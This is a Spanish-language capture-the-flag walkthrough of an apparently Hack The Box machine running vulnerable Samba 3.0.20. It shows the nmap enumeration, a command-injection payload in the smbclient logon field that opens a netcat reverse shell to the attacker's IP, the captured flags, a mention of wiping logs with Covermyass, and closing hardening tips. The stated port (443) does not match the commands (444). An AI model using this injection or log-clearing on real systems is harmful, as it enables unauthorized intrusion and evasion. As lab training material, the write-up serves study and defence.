Enumeración
System IP: 10.10.10.3
Matriz de la maquina
Esta matriz nos muestra las características de explotación de la maquina.
Enumeración de servicios
Server IP Address | Ports Open |
---|---|
10.10.10.3 | TCP: 21,22,139,445,3632 |
Nmap Scan Resultados:
Usando el siguiente comando para enumerar las versiones y servicios que corren en cada puerto luego de hacer un escaneo de puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
nmap -A -n -Pn -p21,22,139,445,3632 10.10.10.3
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 21:12 EDT
Nmap scan report for 10.10.10.3
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Identificación de vulnerabilidades
Como podemos observar, en el puerto 445 corre la version 3.0.20 de samba, entonces hacemos una búsqueda en searchsploit con el comando searchsploit samba 3.0.20.
Para no usar metasploit analizamos el codigo del exploit con el comando searchsploit -x 16320 y encontramos el payload que se aplica en el input del username al momento de logearse.
1
username = "/=`nohup " + payload.encoded + "`"
Código de la prueba de concepto: 16320.rb
Acceso al sistema
Para poder acceder al sistema ya sabemos que comando tenemos que ejecutar al momento de introducir el usuario en el servicio samba, pero primero debemos saber en que servicios compartidos podemos acceder, para eso ejecutamos el comando smbmap -H 10.10.10.3 y encontramos que el recurso tmp permite leer y escribir, entonces accedemos con el comando smbclient \\10.10.10.3\tmp y escribimos el siguiente comando.
Este es el resultado después de acceder al recurso compartido de tmp.
1
logon "/=`nohup nc -e /bin/bash 10.10.14.2 444`"
Este payload establecerá una reverse shell en nuestra maquina victima a traves del puerto 443, entonces antes de ejecutar este comando nos ponemos en escucha por este puerto con el comando nc -nlvp 444.
Luego hacemos el tratamiento de la tti para obtener una bash interactiva .
Finalmente obtenemos acceso como root, y procedemos a buscar el user y root txt.
Prueba de obtención del user.txt
flag: 7ef6fe278f3e5dbf81838fda2aab55d4
Escalamiento de privilegios
Al haber obtenido acceso como usuario de máximos privilegios con el exploit ejecutado, esta fase se omitirá
Prueba de obtención del root.txt
flag: 4aae3f0d424655df2b0e7585d98844bb
Técnicas Post-explotación
Limpiando nuestros registros de actividades dentro de los logs
Usando la herramienta automatizada Covermyass que se basa en un script de shell para cubrir pistas en sistemas UNIX.
Técnicas de Hardening
Siempre actualice y parchee su software En este método de explotación, aprovechamos las vulnerabilidades divulgadas públicamente que tienen actualizaciones de seguridad y parches disponibles.
Los puertos de Samba no deben ser expuestos Utilice un firewall para denegar el acceso a estos servicios desde fuera de la red. Además, restrinja el acceso a su servidor solo a usuarios válidos y deshabilite el acceso WRITE si no es necesario.
Gracias por leer y happy hacking!